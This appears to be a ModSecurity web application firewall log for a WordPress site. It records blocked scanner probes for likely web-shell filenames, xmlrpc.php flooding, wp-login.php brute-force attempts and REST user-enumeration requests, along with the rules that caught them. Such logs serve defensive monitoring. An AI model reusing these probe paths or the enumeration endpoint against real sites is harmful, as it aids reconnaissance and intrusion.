[Fri Feb 27 16:34:39.207064 2026] [:error] [pid 52073:tid 52088] [client 20.220.232.101:7990] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaFXH4a650YPyxXVeRZ1UQAAAYw"]
[Fri Feb 27 16:34:39.684756 2026] [:error] [pid 52073:tid 52099] [client 20.220.232.101:8156] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaFXH4a650YPyxXVeRZ1UwAAAZc"]
[Fri Feb 27 16:34:40.165016 2026] [:error] [pid 54231:tid 54239] [client 20.220.232.101:8074] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaFXIOTvb5AeyJCdY7DQ0wAAAEU"]
[Fri Feb 27 16:34:40.677578 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8157] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaFXIIa650YPyxXVeRZ1VQAAAZM"]
[Fri Feb 27 16:34:41.166847 2026] [:error] [pid 56075:tid 56102] [client 20.220.232.101:7849] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaFXIcKBhrfI6KNv9Rgt9QAAABg"]
[Fri Feb 27 16:34:41.612027 2026] [:error] [pid 54231:tid 54252] [client 20.220.232.101:7803] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaFXIeTvb5AeyJCdY7DQ1QAAAFI"]
[Fri Feb 27 16:34:42.139448 2026] [:error] [pid 54231:tid 54243] [client 20.220.232.101:8161] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaFXIuTvb5AeyJCdY7DQ1wAAAEk"]
[Fri Feb 27 16:34:42.721201 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:7894] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaFXIoa650YPyxXVeRZ1WgAAAZQ"]
[Fri Feb 27 16:34:43.390973 2026] [:error] [pid 52073:tid 52086] [client 20.220.232.101:8071] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaFXI4a650YPyxXVeRZ1XAAAAYo"]
[Fri Feb 27 16:54:07.987009 2026] [:error] [pid 52073:tid 52088] [client 43.153.15.51:52050] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaFbr4a650YPyxXVeRaBigAAAYw"]
[Fri Feb 27 17:16:56.682517 2026] [:error] [pid 62998:tid 63023] [client 45.157.54.16:53110] [client 45.157.54.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.157.54.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaFhCFQeueXZDUmoLon7jQAAARU"]
[Fri Feb 27 17:16:56.724260 2026] [:error] [pid 54231:tid 54242] [client 45.157.54.16:61359] [client 45.157.54.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.157.54.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaFhCOTvb5AeyJCdY7DYOQAAAEg"]
[Fri Feb 27 18:13:23.274592 2026] [:error] [pid 54231:tid 54242] [client 43.157.142.101:57270] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaFuQ-Tvb5AeyJCdY7DhcwAAAEg"]
[Fri Feb 27 18:58:14.716545 2026] [:error] [pid 52073:tid 52082] [client 49.234.192.248:48768] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaF4xoa650YPyxXVeRberQAAAYY"]
[Fri Feb 27 19:59:14.147053 2026] [:error] [pid 52073:tid 52096] [client 187.15.74.14:23707] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGHEoa650YPyxXVeRYS5wAAAZQ"]
[Fri Feb 27 20:10:51.087626 2026] [:error] [pid 56075:tid 56092] [client 187.15.74.14:22748] [client 187.15.74.14] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaGJy8KBhrfI6KNv9RiIEwAAAA4"]
[Fri Feb 27 20:11:45.558507 2026] [:error] [pid 52073:tid 52084] [client 147.185.132.51:61132] [client 147.185.132.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.185.132.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGKAYa650YPyxXVeRYcuQAAAYg"]
[Fri Feb 27 20:12:11.374320 2026] [:error] [pid 49306:tid 49327] [client 187.15.74.14:21792] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGKG_nSUDZue59Px9v0ZQAAAVM"]
[Fri Feb 27 20:13:44.309720 2026] [:error] [pid 54102:tid 54150] [client 187.15.74.14:21672] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGKeHi74D4fiYUm_Gdk0gAAAIY"]
[Fri Feb 27 20:15:05.853294 2026] [:error] [pid 56075:tid 56096] [client 187.15.74.14:24943] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGKycKBhrfI6KNv9RiM5QAAABI"]
[Fri Feb 27 20:16:41.089584 2026] [:error] [pid 54101:tid 54123] [client 187.15.74.14:25095] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGLKVY5qgRktcYTGFs4wwAAAc8"]
[Fri Feb 27 20:18:07.313987 2026] [:error] [pid 56075:tid 56087] [client 187.15.74.14:24048] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGLf8KBhrfI6KNv9RiPqAAAAAo"]
[Fri Feb 27 20:19:31.992003 2026] [:error] [pid 54231:tid 54257] [client 187.15.74.14:23456] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGL0-Tvb5AeyJCdY7D_1QAAAFc"]
[Fri Feb 27 20:19:31.992123 2026] [:error] [pid 54231:tid 54257] [client 187.15.74.14:23456] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGL0-Tvb5AeyJCdY7D_1QAAAFc"]
[Fri Feb 27 20:21:08.237350 2026] [:error] [pid 52073:tid 52083] [client 187.15.74.14:23426] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGMNIa650YPyxXVeRYkDgAAAYc"]
[Fri Feb 27 20:21:08.237526 2026] [:error] [pid 52073:tid 52083] [client 187.15.74.14:23426] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGMNIa650YPyxXVeRYkDgAAAYc"]
[Fri Feb 27 20:22:52.702489 2026] [:error] [pid 56075:tid 56087] [client 187.15.74.14:23570] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGMnMKBhrfI6KNv9RiSrgAAAAo"]
[Fri Feb 27 20:22:52.702631 2026] [:error] [pid 56075:tid 56087] [client 187.15.74.14:23570] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGMnMKBhrfI6KNv9RiSrgAAAAo"]
[Fri Feb 27 20:24:36.586617 2026] [:error] [pid 56075:tid 56085] [client 187.15.74.14:24409] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNBMKBhrfI6KNv9RiUewAAAAg"]
[Fri Feb 27 20:24:36.586772 2026] [:error] [pid 56075:tid 56085] [client 187.15.74.14:24409] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNBMKBhrfI6KNv9RiUewAAAAg"]
[Fri Feb 27 20:26:00.337673 2026] [:error] [pid 62998:tid 63017] [client 187.15.74.14:24344] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNWFQeueXZDUmoLok0BAAAAQ8"]
[Fri Feb 27 20:26:00.337789 2026] [:error] [pid 62998:tid 63017] [client 187.15.74.14:24344] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 10"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNWFQeueXZDUmoLok0BAAAAQ8"]
[Fri Feb 27 20:27:39.180806 2026] [:error] [pid 56075:tid 56084] [client 187.15.74.14:23978] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNu8KBhrfI6KNv9RiXQQAAAAc"]
[Fri Feb 27 20:27:39.180937 2026] [:error] [pid 56075:tid 56084] [client 187.15.74.14:23978] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 11"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGNu8KBhrfI6KNv9RiXQQAAAAc"]
[Fri Feb 27 20:29:05.346000 2026] [:error] [pid 49306:tid 49315] [client 187.15.74.14:23715] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOEfnSUDZue59Px9v60AAAAUc"]
[Fri Feb 27 20:29:05.346162 2026] [:error] [pid 49306:tid 49315] [client 187.15.74.14:23715] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 12"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOEfnSUDZue59Px9v60AAAAUc"]
[Fri Feb 27 20:30:23.196548 2026] [:error] [pid 54231:tid 54258] [client 187.15.74.14:23476] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOX-Tvb5AeyJCdY7ACVQAAAFg"]
[Fri Feb 27 20:30:23.196657 2026] [:error] [pid 54231:tid 54258] [client 187.15.74.14:23476] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 13"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOX-Tvb5AeyJCdY7ACVQAAAFg"]
[Fri Feb 27 20:31:30.947276 2026] [:error] [pid 56075:tid 56098] [client 187.15.74.14:22187] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOosKBhrfI6KNv9RiaiAAAABQ"]
[Fri Feb 27 20:31:30.947450 2026] [:error] [pid 56075:tid 56098] [client 187.15.74.14:22187] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 14"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGOosKBhrfI6KNv9RiaiAAAABQ"]
[Fri Feb 27 20:32:38.862236 2026] [:error] [pid 52073:tid 52095] [client 187.15.74.14:24803] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGO5oa650YPyxXVeRYq6gAAAZM"]
[Fri Feb 27 20:32:38.862362 2026] [:error] [pid 52073:tid 52095] [client 187.15.74.14:24803] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 15"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGO5oa650YPyxXVeRYq6gAAAZM"]
[Fri Feb 27 20:33:32.374196 2026] [:error] [pid 56075:tid 56080] [client 187.15.74.14:22921] [client 187.15.74.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.15.74.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGPHMKBhrfI6KNv9RidZQAAAAM"]
[Fri Feb 27 20:33:32.374376 2026] [:error] [pid 56075:tid 56080] [client 187.15.74.14:22921] [client 187.15.74.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 187.15.74.14, counter = 16"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGPHMKBhrfI6KNv9RidZQAAAAM"]
[Fri Feb 27 20:44:25.476385 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRqcKBhrfI6KNv9RillwAAAAM"], referer: https://www.google.com/search?q=wordpress
[Fri Feb 27 20:44:47.236358 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaGRv8KBhrfI6KNv9RilsgAAAAI"], referer: https://duckduckgo.com/
[Fri Feb 27 20:44:49.053738 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRwcKBhrfI6KNv9RiltAAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:44:51.581328 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRw8KBhrfI6KNv9RiltwAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:44:52.786309 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRxMKBhrfI6KNv9RilugAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:44:55.296014 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRx8KBhrfI6KNv9RilxQAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:44:56.451061 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRyMKBhrfI6KNv9RilyAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:44:59.031090 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRy8KBhrfI6KNv9Ril0gAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:00.249724 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRzMKBhrfI6KNv9Ril1gAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:03.292186 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGRz8KBhrfI6KNv9Ril4wAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:45:04.512032 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:48216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGR0MKBhrfI6KNv9Ril8wAAABQ"], referer: https://gigfragments.org/wp-login.php
